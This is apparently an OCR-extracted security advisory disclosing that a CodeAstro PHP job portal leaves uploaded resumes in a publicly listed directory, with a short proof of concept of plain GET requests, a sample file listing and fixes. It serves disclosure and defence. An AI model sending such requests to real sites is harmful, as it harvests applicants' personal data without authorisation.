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Unauthenticated Resume Exposure in
CodeAstro Online Job Portal (PHP

MySQL)

Details

e Vendor: CodeAstro

e Product: Online Job Portal Project in PHP MySQL

e Version: 1.0

e Vulnerability Type: Improper Access Control / Information Disclosure
e CWE: CWE-284, CWE-200, CWE-548

o Affected Endpoint: /users/user-cvs/

e Impact: Unauthenticated access to all user resumes

Description

The application stores user resumes in a publicly accessible directory ( /users/user -
cvs/ ) without enforcing authentication or authorization checks.
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An unauthenticated attacker can directly access and download any user's resume by
requesting the file URL.

Additionally, directory listing is enabled on this directory, allowing attackers to enumerate
all uploaded resumes without needing to guess filenames.

Proof of Concept

Step 1: Access Directory Listing
GET /online-job-portal-php-mysqgl/users/user-cvs/ HTTP/1.1 Host: target

Result:
A list of all uploaded resume files is displayed.
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Name Last modified Size Description

& Parent Directory. -
1757471728 DummyCVpdf 2025-09-10 13:35 125K

1757472377 DummyCVpdf 2025-09-10 13:46 125K
1757472919 DummyCVpdf 2025-09-10 13:55 125K
DummyCV.pdf 2025-09-08 18:16 125K
cv 32 1758526172 db3.> 2025-09-22 18:29 13K
cv 34 1759199339 cdf.>  2025-09-30 13:28 57K
cv 35 1766276459 f32.> 2025-12-21 11:20 65K
cv 37 1766713512 caf.>  2025-12-26 12:45 65K
cv 38 1766725541 630.> 2025-12-26 16:05 65K
cv_1757473693 DummyC..> 2025-09-10 14:08 125K
cv_1757473879 DummyC..> 2025-09-10 14:11 125K
v 1757474302 Dr > 2025-09-10 14:18 125K
cv_1757474426 DummyC..> 2025-09-10 14:20 125K
cv_1757474593 DummyC..> 2025-09-10 14:23 125K
cv 1757474953 DummyC..> 2025-09-10 14:29 125K
v 1757475245 DummyC..> 2025-09-10 14:34 125K
defaultima.pg 2023-10-15 19:03 5.8K
dummy.pdf 2023-10-26 13:53 13K
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Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server a t 192.168.0.9 Port 80

Step 2: Download a Resume Without Authentication

GET /online-job-portal-php-mysgl/users/user-cvs/cv_1757475245 DummyCV.pdf
HTTP/1.1 Host: target

Step 3: No Authentication Required

e Request works without login
» No session cookies required
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e Any user or attacker can access files directly

Impact

An attacker can access and download all user resumes, which may contain sensitive
personal information such as:

Full names

Email addresses

Phone numbers

Work experience

This can lead to privacy violations, data harvesting, and potential identity theft.

Vulnerable Code (Conceptual)

The application directly exposes files from a public directory without validating user
permissions before access.

Recommendation

Restrict access to the /users/user-cvs/ directory

Disable directory listing on the server

Implement proper authentication and authorization checks before serving files

Store sensitive files outside the web root and serve them via controlled endpoints

Author

e Imad Alvi
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Releases

No releases published

Packages

No packages published
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